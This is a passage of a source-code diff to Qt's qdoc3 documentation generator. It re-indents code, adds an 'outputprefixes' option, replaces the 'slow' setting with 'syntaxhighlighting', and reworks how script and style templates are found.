- standardWording = false; + standardWording = false; } else - whats[0] = whats[0].toUpper(); + whats[0] = whats[0].toUpper(); - // ### move this once \brief is abolished for properties + // ### move this once \brief is abolished for properties if (standardWording) resultText << whats; } @@ -2720,29 +2778,29 @@ Text Doc::trimmedBriefText(const QString &className) const Text Doc::legaleseText() const { if (priv == 0 || !priv->hasLegalese) - return Text(); + return Text(); else - return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight); + return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight); } const QString& Doc::baseName() const { static QString null; if (priv == 0 || priv->extra == 0) { - return null; + return null; } else { - return priv->extra->baseName; + return priv->extra->baseName; } } Doc::SectioningUnit Doc::granularity() const { if (priv == 0 || priv->extra == 0) { - return DocPrivateExtra().granularity; + return DocPrivateExtra().granularity; } else { - return priv->extra->granularity; + return priv->extra->granularity; } } @@ -2838,80 +2896,80 @@ void Doc::initialize(const Config& config) QSet<QString> commands = config.subVars(CONFIG_ALIAS); QSet<QString>::ConstIterator c = commands.begin(); while (c != commands.end()) { - QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c); - if (reverseAliasMap.contains(alias)) { - config.lastLocation().warning(tr("Command name '\\%1' cannot stand" - " for both '\\%2' and '\\%3'") - .arg(alias) - .arg(reverseAliasMap[alias]) - .arg(*c)); - } + QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c); + if (reverseAliasMap.contains(alias)) { + config.lastLocation().warning(tr("Command name '\\%1' cannot stand" + " for both '\\%2' and '\\%3'") + .arg(alias) + .arg(reverseAliasMap[alias]) + .arg(*c)); + } else { - reverseAliasMap.insert(alias, *c); - } - aliasMap()->insert(*c, alias); - ++c; + reverseAliasMap.insert(alias, *c); + } + aliasMap()->insert(*c, alias); + ++c; } int i = 0; while (cmds[i].english) { - cmds[i].alias = new QString(alias(cmds[i].english)); - cmdHash()->insert(*cmds[i].alias, cmds[i].no); + cmds[i].alias = new QString(alias(cmds[i].english)); + cmdHash()->insert(*cmds[i].alias, cmds[i].no); - if (cmds[i].no != i) - Location::internalError(tr("command %1 missing").arg(i)); - i++; + if (cmds[i].no != i) + Location::internalError(tr("command %1 missing").arg(i)); + i++; } QSet<QString> macroNames = config.subVars(CONFIG_MACRO); QSet<QString>::ConstIterator n = macroNames.begin(); while (n != macroNames.end()) { - QString macroDotName = CONFIG_MACRO + Config::dot + *n; - Macro macro; - macro.numParams = -1; - macro.defaultDef = config.getString(macroDotName); - if (!macro.defaultDef.isEmpty()) { - macro.defaultDefLocation = config.lastLocation(); - macro.numParams = Config::numParams(macro.defaultDef); - } - bool silent = false; - - QSet<QString> formats = config.subVars(macroDotName); - QSet<QString>::ConstIterator f = formats.begin(); - while (f != formats.end()) { - QString def = config.getString(macroDotName + Config::dot + *f); - if (!def.isEmpty()) { - macro.otherDefs.insert(*f, def); - int m = Config::numParams(macro.defaultDef); - if (macro.numParams == -1) { - macro.numParams = m; - } + QString macroDotName = CONFIG_MACRO + Config::dot + *n; + Macro macro; + macro.numParams = -1; + macro.defaultDef = config.getString(macroDotName); + if (!macro.defaultDef.isEmpty()) { + macro.defaultDefLocation = config.lastLocation(); + macro.numParams = Config::numParams(macro.defaultDef); + } + bool silent = false; + + QSet<QString> formats = config.subVars(macroDotName); + QSet<QString>::ConstIterator f = formats.begin(); + while (f != formats.end()) { + QString def = config.getString(macroDotName + Config::dot + *f); + if (!def.isEmpty()) { + macro.otherDefs.insert(*f, def); + int m = Config::numParams(def); + if (macro.numParams == -1) { + macro.numParams = m; + } else if (macro.numParams != m) { - if (!silent) { - QString other = tr("default"); - if (macro.defaultDef.isEmpty()) - other = macro.otherDefs.begin().key(); - config.lastLocation().warning(tr("Macro '\\%1' takes" - " inconsistent number" - " of arguments (%2" - " %3, %4 %5)") - .arg(*n) - .arg(*f) - .arg(m) - .arg(other) - .arg(macro.numParams)); - silent = true; - } - if (macro.numParams < m) - macro.numParams = m; - } - } - ++f; - } - - if (macro.numParams != -1) - macroHash()->insert(*n, macro); - ++n; + if (!silent) { + QString other = tr("default"); + if (macro.defaultDef.isEmpty()) + other = macro.otherDefs.begin().key(); + config.lastLocation().warning(tr("Macro '\\%1' takes" + " inconsistent number" + " of arguments (%2" + " %3, %4 %5)") + .arg(*n) + .arg(*f) + .arg(m) + .arg(other) + .arg(macro.numParams)); + silent = true; + } + if (macro.numParams < m) + macro.numParams = m; + } + } + ++f; + } + + if (macro.numParams != -1) + macroHash()->insert(*n, macro); + ++n; } } @@ -2951,27 +3009,27 @@ void Doc::trimCStyleComment(Location& location, QString& str) int i; for (i = 0; i < (int) str.length(); i++) { - if (m.columnNo() == asterColumn) { - if (str[i] != '*') - break; - cleaned += ' '; - metAsterColumn = true; - } + if (m.columnNo() == asterColumn) { + if (str[i] != '*') + break; + cleaned += ' '; + metAsterColumn = true; + } else { - if (str[i] == '\n') { - if (!metAsterColumn) - break; - metAsterColumn = false; - } - cleaned += str[i]; - } - m.advance(str[i]); + if (str[i] == '\n') { + if (!metAsterColumn) + break; + metAsterColumn = false; + } + cleaned += str[i]; + } + m.advance(str[i]); } if (cleaned.length() == str.length()) - str = cleaned; + str = cleaned; for (int i = 0; i < 3; i++) - location.advance(str[i]); + location.advance(str[i]); str = str.mid(3, str.length() - 5); } @@ -2987,26 +3045,26 @@ CodeMarker *Doc::quoteFromFile(const Location &location, QString filePath = Config::findFile(location, DocParser::exampleFiles, DocParser::exampleDirs, - fileName, userFriendlyFilePath); + fileName, userFriendlyFilePath); if (filePath.isEmpty()) { - location.warning(tr("Cannot find example file '%1'").arg(fileName)); + location.warning(tr("Cannot find example file '%1'").arg(fileName)); } else { - QFile inFile(filePath); - if (!inFile.open(QFile::ReadOnly)) { - location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath)); - } + QFile inFile(filePath); + if (!inFile.open(QFile::ReadOnly)) { + location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath)); + } else { - QTextStream inStream(&inFile); - code = DocParser::untabifyEtc(inStream.readAll()); - } + QTextStream inStream(&inFile); + code = DocParser::untabifyEtc(inStream.readAll()); + } } QString dirPath = QFileInfo(filePath).path(); CodeMarker *marker = CodeMarker::markerForFileName(fileName); quoter.quoteFromFile(userFriendlyFilePath, code, - marker->markedUpCode(code, 0, dirPath)); + marker->markedUpCode(code, 0, location)); return marker; } @@ -3043,13 +3101,6 @@ QString Doc::canonicalTitle(const QString &title) result += QLatin1Char('-'); dashAppended = true; } -#if 0 - // This was screwing things up. - else { - result += title[i]; - lastAlnum = result.size(); - } -#endif } result.truncate(lastAlnum); return result; diff --git a/tools/qdoc3/doc.h b/tools/qdoc3/doc.h index 6a154fc..ea832b1 100644 --- a/tools/qdoc3/doc.h +++ b/tools/qdoc3/doc.h @@ -100,7 +100,7 @@ class Doc bool isEmpty() const; const QString& source() const; const Text& body() const; - Text briefText() const; + Text briefText(bool inclusive = false) const; Text trimmedBriefText(const QString &className) const; Text legaleseText() const; const QString& baseName() const; diff --git a/tools/qdoc3/doc/qdoc-manual.qdoc b/tools/qdoc3/doc/qdoc-manual.qdoc index 31f1e00..7290c0e 100644 --- a/tools/qdoc3/doc/qdoc-manual.qdoc +++ b/tools/qdoc3/doc/qdoc-manual.qdoc @@ -7069,6 +7069,8 @@ \l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir}, \l {22-qdoc-configuration-generalvariables.html#outputformats} {outputformats}, + \l {22-qdoc-configuration-generalvariables.html#outputprefixes} + {outputprefixes}, \l {22-qdoc-configuration-generalvariables.html#slow}{slow}, \l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs}, \l {22-qdoc-configuration-generalvariables.html#sources}{sources}, @@ -7155,6 +7157,8 @@ \l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir}, \l {22-qdoc-configuration-generalvariables.html#outputformats} {outputformats}, + \l {22-qdoc-configuration-generalvariables.html#outputprefixes} + {outputprefixes}, \l {22-qdoc-configuration-generalvariables.html#slow}{slow}, \l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs}, \l {22-qdoc-configuration-generalvariables.html#sources}{sources}, @@ -7796,6 +7800,23 @@ the default format, and doesn't need to be specified. \row + \o \bold outputprefixes \target outputprefixes + \o \bold {The \c outputprefixes variable specifies a mapping between + types of files and the prefixes to prepend to the HTML file names + in the generated documentation.} + + For example: + + \code + outputprefixes = QML + outputprefixes.QML = qt-components- + \endcode + + Be default, files containing the API documentation for QML elements + or components are prefixed with "qml-". In the above example, the + prefix "qt-components-" is used instead. + + \row \o \bold qhp \target qhp \o \bold{The \c qhp variable is used to define the information to be written out to Qt Help Project (\c{qhp}) files.} @@ -7804,20 +7825,14 @@ about this process. \row - \o \bold slow \target slow - \o \bold {The \c slow variable specifies whether QDoc should do - time-consuming processing, such as syntax highlighting.} - - By default, this setting is false. - - Example: + \o \bold slow (removed) \target slow + \o \bold {The \c slow variable previously specified whether QDoc should + do time-consuming processing, such as syntax highlighting.} - \code - slow = true - \endcode + This option has been replaced by the \l{syntaxhighlighing} option. - Another way to turn on "slowness" is to invoke QDoc with the - \c -slow command-line option. + For compatibility, the \c -slow command-line option has been + retained. This has the effect of enabling syntax highlighting. \row \o \bold sourcedirs \target sourcedirs @@ -7957,6 +7972,21 @@ \endcode \row + \o \bold syntaxhighlighting \target syntaxhighlighting + \o \bold{The \c syntaxhighlighting variable specifies whether QDoc + should perform syntax highlighting on source code quoted in the + documentation it output.} + + For example: + + \code + syntaxhighlighting = true + \endcode + + will enable syntax highlighting for all supported programming + languages. + + \row \o \bold tabsize \target tabsize \o \bold {The \c tabsize variable defines the size of a tab character.} diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 7deca2e..b4768db 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -43,7 +43,9 @@ generator.cpp */ #include <qdir.h> +#ifdef DEBUG_MULTIPLE_QDOCCONF_FILES #include <qdebug.h> +#endif #include "codemarker.h" #include "config.h" #include "doc.h" @@ -54,6 +56,7 @@ #include "quoter.h" #include "separator.h" #include "tokenizer.h" +#include "ditaxmlgenerator.h" QT_BEGIN_NAMESPACE @@ -72,6 +75,7 @@ QStringList Generator::styleFiles; QStringList Generator::styleDirs; QString Generator::outDir; QString Generator::project; +QHash<QString, QString> Generator::outputPrefixes; static void singularPlural(Text& text, const NodeList& nodes) { @@ -180,45 +184,52 @@ void Generator::initialize(const Config &config) ++e; } - QStringList noExts; - QStringList scripts = - config.getStringList(CONFIG_SCRIPTS+Config::dot+(*g)->format()); - e = scripts.begin(); - while (e != scripts.end()) { - QString userFriendlyFilePath; - QString filePath = Config::findFile(config.lastLocation(), - scriptFiles, - scriptDirs, - *e, - noExts, - userFriendlyFilePath); - if (!filePath.isEmpty()) - Config::copyFile(config.lastLocation(), - filePath, - userFriendlyFilePath, - (*g)->outputDir() + - "/scripts"); - ++e; - } + // Documentation template handling + QString templateDir = config.getString( + (*g)->format() + Config::dot + CONFIG_TEMPLATEDIR); + + if (!templateDir.isEmpty()) { + QStringList noExts; + QStringList searchDirs = QStringList() << templateDir; + QStringList scripts = + config.getStringList((*g)->format()+Config::dot+CONFIG_SCRIPTS); + e = scripts.begin(); + while (e != scripts.end()) { + QString userFriendlyFilePath; + QString filePath = Config::findFile(config.lastLocation(), + scriptFiles, + searchDirs, + *e, + noExts, + userFriendlyFilePath); + if (!filePath.isEmpty()) + Config::copyFile(config.lastLocation(), + filePath, + userFriendlyFilePath, + (*g)->outputDir() + + "/scripts"); + ++e; + } - QStringList styles = - config.getStringList(CONFIG_STYLES+Config::dot+(*g)->format()); - e = styles.begin(); - while (e != styles.end()) { - QString userFriendlyFilePath; - QString filePath = Config::findFile(config.lastLocation(), - styleFiles, - styleDirs, - *e, - noExts, - userFriendlyFilePath); - if (!filePath.isEmpty()) - Config::copyFile(config.lastLocation(), - filePath, - userFriendlyFilePath, - (*g)->outputDir() + - "/style"); - ++e; + QStringList styles = + config.getStringList((*g)->format()+Config::dot+CONFIG_STYLESHEETS); + e = styles.begin(); + while (e != styles.end()) { + QString userFriendlyFilePath; + QString filePath = Config::findFile(config.lastLocation(), + styleFiles, + searchDirs, + *e, + noExts, + userFriendlyFilePath); + if (!filePath.isEmpty()) + Config::copyFile(config.lastLocation(), + filePath, + userFriendlyFilePath, + (*g)->outputDir() + + "/style"); + ++e; + } } } ++g; @@ -264,6 +275,14 @@ void Generator::initialize(const Config &config) } project = config.getString(CONFIG_PROJECT); + + QStringList prefixes = config.getStringList(CONFIG_OUTPUTPREFIXES); + if (!prefixes.isEmpty()) { + foreach (QString prefix, prefixes) + outputPrefixes[prefix] = config.getString( + CONFIG_OUTPUTPREFIXES + Config::dot + prefix); + } else + outputPrefixes[QLatin1String("QML")] = QLatin1String("qml-"); } void Generator::terminate() @@ -326,6 +345,7 @@ bool Generator::generateText(const Text& text, const Node *relative, CodeMarker *marker) { + bool result = false; if (text.firstAtom() != 0) { int numAtoms = 0; startText(relative, marker); @@ -335,9 +355,9 @@ bool Generator::generateText(const Text& text, true, numAtoms); endText(relative, marker); - return true; + result = true; } - return false; + return result; } #ifdef QDOC_QML @@ -351,24 +371,26 @@ bool Generator::generateQmlText(const Text& text, const QString& /* qmlName */ ) { const Atom* atom = text.firstAtom(); - if (atom == 0) - return false; + bool result = false; - startText(relative, marker); - while (atom) { - if (atom->type() != Atom::QmlText) - atom = atom->next(); - else { - atom = atom->next(); - while (atom && (atom->type() != Atom::EndQmlText)) { - int n = 1 + generateAtom(atom, relative, marker); - while (n-- > 0) - atom = atom->next(); + if (atom != 0) { + startText(relative, marker); + while (atom) { + if (atom->type() != Atom::QmlText) + atom = atom->next(); + else { + atom = atom->next(); + while (atom && (atom->type() != Atom::EndQmlText)) { + int n = 1 + generateAtom(atom, relative, marker); + while (n-- > 0) + atom = atom->next(); + } } } + endText(relative, marker); + result = true; } - endText(relative, marker); - return true; + return result; } #endif @@ -376,25 +398,21 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) { bool quiet = false; - if (node->type() == Node::Function) { -#if 0 - const FunctionNode *func = (const FunctionNode *) node; - if (func->isOverload() && func->metaness() != FunctionNode::Ctor) - generateOverload(node, marker); -#endif - } - else if (node->type() == Node::Fake) { + if (node->type() == Node::Fake) { const FakeNode *fake = static_cast<const FakeNode *>(node); - if (fake->subType() == Node::Example) + if (fake->subType() == Node::Example) { generateExampleFiles(fake, marker); - else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image)) + } + else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image)) { quiet = true; + } } if (node->doc().isEmpty()) { - if (!quiet && !node->isReimp()) // ### might be unnecessary + if (!quiet && !node->isReimp()) { // ### might be unnecessary node->location().warning(tr("No documentation for '%1'") .arg(marker->plainFullName(node))); + } } else { if (node->type() == Node::Function) { @@ -403,9 +421,10 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) generateReimplementedFrom(func, marker); } - if (!generateText(node->doc().body(), node, marker)) + if (!generateText(node->doc().body(), node, marker)) { if (node->isReimp()) return; + } if (node->type() == Node::Enum) { const EnumNode *enume = (const EnumNode *) node; @@ -496,18 +515,16 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) ++a; } } -/* Something like this return value check should be implemented at some point. */ + /* + Something like this return value check should + be implemented at some point. + */ if (func->status() > Node::Obsolete && func->returnType() == "bool" && func->reimplementedFrom() == 0 && !func->isOverload()) { QString body = func->doc().body().toString(); if (!body.contains("return", Qt::CaseInsensitive)) node->doc().location().warning(tr("Undocumented return value")); } -#if 0 - // Now we put this at the top, before the other text. - if (func->reimplementedFrom() != 0) - generateReimplementedFrom(func, marker); -#endif } } @@ -518,8 +535,9 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) Quoter quoter; Doc::quoteFromFile(fake->doc().location(), quoter, fake->name()); QString code = quoter.quoteTo(fake->location(), "", ""); - text << Atom(Atom::Code, code); - generateText(text, fake, marker); + CodeMarker *codeMarker = CodeMarker::markerForFileName(fake->name()); + text << Atom(codeMarker->atomType(), code); + generateText(text, fake, codeMarker); } } } @@ -667,35 +685,6 @@ void Generator::generateExampleFiles(const FakeNode *fake, CodeMarker *marker) generateFileList(fake, marker, Node::Image, QString("Images:")); } -#if 0 - QList<Generator *>::ConstIterator g = generators.begin(); - while (g != generators.end()) { - if (outputFormats.contains((*g)->format())) { - (*g)->initializeGenerator(config); - QStringList extraImages = - config.getStringList(CONFIG_EXTRAIMAGES+Config::dot+(*g)->format()); - QStringList::ConstIterator e = extraImages.begin(); - while (e != extraImages.end()) { - QString userFriendlyFilePath; - QString filePath = Config::findFile(config.lastLocation(), - imageFiles, - imageDirs, - *e, - imgFileExts[(*g)->format()], - userFriendlyFilePath); - if (!filePath.isEmpty()) - Config::copyFile(config.lastLocation(), - filePath, - userFriendlyFilePath, - (*g)->outputDir() + - "/images"); - ++e; - } - } - ++g; - } -#endif - QString Generator::indent(int level, const QString& markedCode) { if (level == 0) @@ -706,26 +695,17 @@ QString Generator::indent(int level, const QString& markedCode) int i = 0; while (i < (int) markedCode.length()) { - if (markedCode.at(i) == QLatin1Char('<')) { - while (i < (int) markedCode.length()) { - t += markedCode.at(i++); - if (markedCode.at(i - 1) == QLatin1Char('>')) - break; - } + if (markedCode.at(i) == QLatin1Char('\n')) { + column = 0; } else { - if (markedCode.at(i) == QLatin1Char('\n')) { - column = 0; + if (column == 0) { + for (int j = 0; j < level; j++) + t += QLatin1Char(' '); } - else { - if (column == 0) { - for (int j = 0; j < level; j++) - t += QLatin1Char(' '); - } - column++; - } - t += markedCode.at(i++); + column++; } + t += markedCode.at(i++); } return t; } @@ -855,7 +835,11 @@ QMap<QString, QString>& Generator::formattingRightMap() return fmtRightMaps[format()]; } -QString Generator::trimmedTrailing(const QString &string) +/* + Trims trailimng whitespace off the \a string and returns + the trimmed string. + */ +QString Generator::trimmedTrailing(const QString& string) { QString trimmed = string; while (trimmed.length() > 0 && trimmed[trimmed.length() - 1].isSpace()) @@ -1085,20 +1069,6 @@ void Generator::generateSince(const Node *node, CodeMarker *marker) } } -/*! - No longer in use. - */ -void Generator::generateOverload(const Node *node, CodeMarker *marker) -{ - Text text; - text << Atom::ParaLeft - << "This function overloads "; - QString t = node->name() + "()"; - text << Atom::AutoLink << t - << Atom::ParaRight; - generateText(text, node, marker); -} - void Generator::generateReimplementedFrom(const FunctionNode *func, CodeMarker *marker) { @@ -1147,8 +1117,8 @@ const Atom *Generator::generateAtomList(const Atom *atom, if (atom->type() == Atom::FormatEndif) { if (generate && numAtoms0 == numAtoms) { - relative->location().warning(tr("Output format %1 not handled") - .arg(format())); + relative->location().warning(tr("Output format %1 not handled %2") + .arg(format()).arg(outFileName())); Atom unhandledFormatAtom(Atom::UnhandledFormat, format()); generateAtomList(&unhandledFormatAtom, relative, @@ -1300,4 +1270,9 @@ QString Generator::fullName(const Node *node, return marker->plainFullName(node, relative); } +QString Generator::outputPrefix(const QString &nodeType) +{ + return outputPrefixes[nodeType]; +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h index 562ad9b..4482313 100644 --- a/tools/qdoc3/generator.h +++ b/tools/qdoc3/generator.h @@ -78,7 +78,7 @@ class Generator virtual void terminateGenerator(); virtual QString format() = 0; virtual bool canHandleFormat(const QString &format) { return format == this->format(); } - virtual void generateTree(const Tree *tree, CodeMarker *marker) = 0; + virtual void generateTree(const Tree *tree) = 0; static void initialize(const Config& config); static void terminate(); @@ -114,7 +114,7 @@ class Generator void generateThreadSafeness(const Node *node, CodeMarker *marker); void generateSince(const Node *node, CodeMarker *marker); void generateStatus(const Node *node, CodeMarker *marker); - const Atom *generateAtomList(const Atom *atom, + const Atom* generateAtomList(const Atom *atom, const Node *relative, CodeMarker *marker, bool generate, @@ -130,6 +130,8 @@ class Generator const Node *relative, CodeMarker *marker) const; + virtual QString outFileName() { return QString(); } + const QString& outputDir() { return outDir; } QString indent(int level, const QString& markedCode); QString plainCode(const QString& markedCode); @@ -146,9 +148,9 @@ class Generator static QString trimmedTrailing(const QString &string); static bool matchAhead(const Atom *atom, Atom::Type expectedAtomType); static void supplementAlsoList(const Node *node, QList<Text> &alsoList); + static QString outputPrefix(const QString &nodeType); private: - void generateOverload(const Node *node, CodeMarker *marker); void generateReimplementedFrom(const FunctionNode *func, CodeMarker *marker); void appendFullName(Text& text, @@ -197,6 +199,7 @@ class Generator static QStringList styleDirs; static QString outDir; static QString project; + static QHash<QString, QString> outputPrefixes; }; QT_END_NAMESPACE diff --git a/tools/qdoc3/helpprojectwriter.cpp b/tools/qdoc3/helpprojectwriter.cpp index cb94bc4..f2e2f04 100644 --- a/tools/qdoc3/helpprojectwriter.cpp +++ b/tools/qdoc3/helpprojectwriter.cpp @@ -41,7 +41,6 @@ #include <QHash> #include <QMap> -//#include <qdebug.h> #include "atom.h" #include "helpprojectwriter.h" @@ -49,7 +48,6 @@ #include "config.h" #include "node.h" #include "tree.h" -#include <qdebug.h> QT_BEGIN_NAMESPACE @@ -216,7 +214,7 @@ QStringList HelpProjectWriter::keywordDetails(const Node *node) const details << node->name(); details << node->name(); } - details << tree->fullDocumentLocation(node); + details << HtmlGenerator::fullDocumentLocation(node); return details; } @@ -276,12 +274,12 @@ bool HelpProjectWriter::generateSection(HelpProject &project, case Node::Class: project.keywords.append(keywordDetails(node)); - project.files.insert(tree->fullDocumentLocation(node)); + project.files.insert(HtmlGenerator::fullDocumentLocation(node)); break; case Node::Namespace: project.keywords.append(keywordDetails(node)); - project.files.insert(tree->fullDocumentLocation(node)); + project.files.insert(HtmlGenerator::fullDocumentLocation(node)); break; case Node::Enum: @@ -301,7 +299,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project, details << item.name(); // "name" details << item.name(); // "id" } - details << tree->fullDocumentLocation(node); + details << HtmlGenerator::fullDocumentLocation(node); project.keywords.append(details); } } @@ -332,7 +330,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project, if (node->relates()) { project.memberStatus[node->relates()].insert(node->status()); - project.files.insert(tree->fullDocumentLocation(node->relates())); + project.files.insert(HtmlGenerator::fullDocumentLocation(node->relates())); } else if (node->parent()) project.memberStatus[node->parent()].insert(node->status()); } @@ -346,7 +344,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project, // Use the location of any associated enum node in preference // to that of the typedef. if (enumNode) - typedefDetails[2] = tree->fullDocumentLocation(enumNode); + typedefDetails[2] = HtmlGenerator::fullDocumentLocation(enumNode); project.keywords.append(typedefDetails); } @@ -366,11 +364,11 @@ bool HelpProjectWriter::generateSection(HelpProject &project, QStringList details; details << keyword->string() << keyword->string() - << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string()); + << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string()); project.keywords.append(details); } else fakeNode->doc().location().warning( - tr("Bad keyword in %1").arg(tree->fullDocumentLocation(node)) + tr("Bad keyword in %1").arg(HtmlGenerator::fullDocumentLocation(node)) ); } } @@ -384,16 +382,16 @@ bool HelpProjectWriter::generateSection(HelpProject &project, QStringList details; details << title << title - << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title); + << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title); project.keywords.append(details); } else fakeNode->doc().location().warning( - tr("Bad contents item in %1").arg(tree->fullDocumentLocation(node)) + tr("Bad contents item in %1").arg(HtmlGenerator::fullDocumentLocation(node)) ); } } */ - project.files.insert(tree->fullDocumentLocation(node)); + project.files.insert(HtmlGenerator::fullDocumentLocation(node)); } break; } @@ -472,7 +470,7 @@ void HelpProjectWriter::generate(const Tree *tre) void HelpProjectWriter::writeNode(HelpProject &project, QXmlStreamWriter &writer, const Node *node) { - QString href = tree->fullDocumentLocation(node); + QString href = HtmlGenerator::fullDocumentLocation(node); QString objName = node->name(); switch (node->type()) { @@ -615,12 +613,12 @@ void HelpProjectWriter::generateProject(HelpProject &project) writer.writeStartElement("toc"); writer.writeStartElement("section"); - QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle)); + QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle)); if (indexPath.isEmpty()) indexPath = "index.html"; writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath)); writer.writeAttribute("title", project.indexTitle); - project.files.insert(tree->fullDocumentLocation(rootNode)); + project.files.insert(HtmlGenerator::fullDocumentLocation(rootNode)); generateSections(project, writer, rootNode); @@ -658,7 +656,7 @@ void HelpProjectWriter::generateProject(HelpProject &project) const FakeNode *page = tree->findFakeNodeByTitle(atom->string()); writer.writeStartElement("section"); - QString indexPath = tree->fullDocumentLocation(page); + QString indexPath = HtmlGenerator::fullDocumentLocation(page); writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath)); writer.writeAttribute("title", atom->string()); project.files.insert(indexPath); @@ -683,7 +681,7 @@ void HelpProjectWriter::generateProject(HelpProject &project) if (!name.isEmpty()) { writer.writeStartElement("section"); - QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle)); + QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(subproject.indexTitle)); writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath)); writer.writeAttribute("title", subproject.title); project.files.insert(indexPath); diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 9ddf6e8..0ff28af 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -56,6 +56,7 @@ #include <qlist.h> #include <qiterator.h> #include <qtextcodec.h> +#include <QUuid> QT_BEGIN_NAMESPACE @@ -63,10 +64,6 @@ QT_BEGIN_NAMESPACE int HtmlGenerator::id = 0; bool HtmlGenerator::debugging_on = false; -#if 0 -QString HtmlGenerator::divNavTop = "<div class=\"navTop\"><a href=\"#toc\"><img src=\"./images/bullet_up.png\"></a></div>"; -#endif - QString HtmlGenerator::divNavTop = ""; QString HtmlGenerator::sinceTitles[] = @@ -93,7 +90,7 @@ static bool showBrokenLinks = false; static QRegExp linkTag("(<@link node=\"([^\"]+)\">).*(</@link>)"); static QRegExp funcTag("(<@func target=\"([^\"]*)\">)(.*)(</@func>)"); static QRegExp typeTag("(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)"); -static QRegExp spanTag("</@(?:comment|preprocessor|string|char)>"); +static QRegExp spanTag("</@(?:comment|preprocessor|string|char|number|op|type|name|keyword)>"); static QRegExp unknownTag("</?@[^>]*>"); bool parseArg(const QString &src, @@ -214,15 +211,14 @@ static void addLink(const QString &linkTarget, HtmlGenerator::HtmlGenerator() : helpProjectWriter(0), inLink(false), + inObsoleteLink(false), inContents(false), inSectionHeading(false), inTableHeader(false), numTableRows(0), threeColumnEnumValueTable(true), - application(Online), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), obsoleteLinks(false) { } @@ -263,19 +259,16 @@ void HtmlGenerator::initializeGenerator(const Config &config) style = config.getString(HtmlGenerator::format() + Config::dot + - HTMLGENERATOR_STYLE); + CONFIG_STYLE); + endHeader = config.getString(HtmlGenerator::format() + + Config::dot + + CONFIG_ENDHEADER); postHeader = config.getString(HtmlGenerator::format() + Config::dot + HTMLGENERATOR_POSTHEADER); postPostHeader = config.getString(HtmlGenerator::format() + Config::dot + HTMLGENERATOR_POSTPOSTHEADER); - creatorPostHeader = config.getString(HtmlGenerator::format() + - Config::dot + - HTMLGENERATOR_CREATORPOSTHEADER); - creatorPostPostHeader = config.getString(HtmlGenerator::format() + - Config::dot + - HTMLGENERATOR_CREATORPOSTPOSTHEADER); footer = config.getString(HtmlGenerator::format() + Config::dot + HTMLGENERATOR_FOOTER); @@ -288,14 +281,6 @@ void HtmlGenerator::initializeGenerator(const Config &config) project = config.getString(CONFIG_PROJECT); - QString app = config.getString(CONFIG_APPLICATION); - if (app == "online") - application = Online; - else if (app == "creator") - application = Creator; - else - application = Creator; - projectDescription = config.getString(CONFIG_DESCRIPTION); if (projectDescription.isEmpty() && !project.isEmpty()) projectDescription = project + " Reference Documentation"; @@ -334,19 +319,18 @@ void HtmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); - - stylesheets = config.getStringList(HtmlGenerator::format() + - Config::dot + - HTMLGENERATOR_STYLESHEETS); - customHeadElements = config.getStringList(HtmlGenerator::format() + - Config::dot + - HTMLGENERATOR_CUSTOMHEADELEMENTS); codeIndent = config.getInt(CONFIG_CODEINDENT); helpProjectWriter = new HelpProjectWriter(config, project.toLower() + ".qhp"); + + // Documentation template handling + headerScripts = config.getString(HtmlGenerator::format() + Config::dot + + CONFIG_HEADERSCRIPTS); + headerStyles = config.getString(HtmlGenerator::format() + + Config::dot + + CONFIG_HEADERSTYLES); } void HtmlGenerator::terminateGenerator() @@ -360,11 +344,11 @@ QString HtmlGenerator::format() } /*! - This is where the html files and dcf files are written. - \note The html file generation is done in the base class, + This is where the HTML files are written. + \note The HTML file generation is done in the base class, PageGenerator::generateTree(). */ -void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) +void HtmlGenerator::generateTree(const Tree *tree) { myTree = tree; nonCompatClasses.clear(); @@ -383,48 +367,11 @@ void HtmlGenerator::generateTree(const Tree *tree, CodeMarker *marker) findAllNamespaces(tree->root()); findAllSince(tree->root()); - PageGenerator::generateTree(tree, marker); - - dcfClassesRoot.ref = "classes.html"; - dcfClassesRoot.title = "Classes"; - qSort(dcfClassesRoot.subsections); - - dcfOverviewsRoot.ref = "overviews.html"; - dcfOverviewsRoot.title = "Overviews"; - qSort(dcfOverviewsRoot.subsections); - - 